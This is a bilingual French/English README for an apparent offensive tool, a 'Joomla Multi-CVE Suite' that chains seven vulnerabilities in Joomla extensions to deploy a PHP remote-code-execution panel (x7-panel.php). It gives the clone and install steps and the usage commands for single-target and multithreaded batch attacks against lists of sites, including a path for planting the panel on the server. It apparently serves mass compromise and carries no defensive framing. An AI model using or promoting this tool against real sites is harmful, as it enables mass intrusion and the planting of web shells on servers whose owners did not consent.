CVE-2026-87930

---

📌 Résumé

Joomla Multi-CVE Suite — 7 modules de vulnérabilités + déploiement de x7-panel.php

CVE	Extension
CVE-2026-56291	Balbooa Forms (com_baforms)
CVE-2026-56290	Page Builder CK (com_pagebuilderck)
CVE-2026-48908	SP Page Builder (com_sppagebuilder)
CVE-2026-48907	JCE (com_jce)
CVE-2026-48939	iCagenda (com_icagenda)
CVE-2026-49049	Helix3 (plg_ajax_helix3)
CVE-2026-48909	SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path

La suite exécute une chaîne automatique ; utilisez --cve pour un seul module.

📦 Installation

git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt

Fichier	Rôle
winrarzips_brand.py	Bannière CMD (by winrarzips)
joomla_exploits.py	Modules d'exploit 7-CVE
CVE-2026-Joomla-Suite.py	CLI batch + cible unique
payloads/x7-panel.php	Panneau RCE
requirements.txt	Dépendances

❌ Les listes de cibles, les résultats de scan et les URL de panneaux ne sont pas inclus dans le dépôt.

🎯 Cible unique

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908

📦 Batch (votre propre liste)

python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8

🔧 SP LMS (48909)

Pour les cibles Joomla < 5.2.2, le chemin serveur est requis :

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php

---

📌 Summary

Joomla Multi-CVE Suite — 7 vulnerability modules + x7-panel.php deploy

CVE	Extension
CVE-2026-56291	Balbooa Forms (com_baforms)
CVE-2026-56290	Page Builder CK (com_pagebuilderck)
CVE-2026-48908	SP Page Builder (com_sppagebuilder)
CVE-2026-48907	JCE (com_jce)
CVE-2026-48939	iCagenda (com_icagenda)
CVE-2026-49049	Helix3 (plg_ajax_helix3)
CVE-2026-48909	SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path

The suite runs an auto chain by default; use --cve for a single module.

📦 Setup

git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt

File	Role
winrarzips_brand.py	CMD banner (by winrarzips)
joomla_exploits.py	7-CVE exploit modules
CVE-2026-Joomla-Suite.py	Batch + single-target CLI
payloads/x7-panel.php	RCE panel payload
requirements.txt	Dependencies

❌ Target lists, scan results and live panel URLs are not included.

🎯 Single target

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908

📦 Batch (your own list)

python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8

🔧 SP LMS (48909)

For Joomla < 5.2.2 targets, provide server path:

python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php

---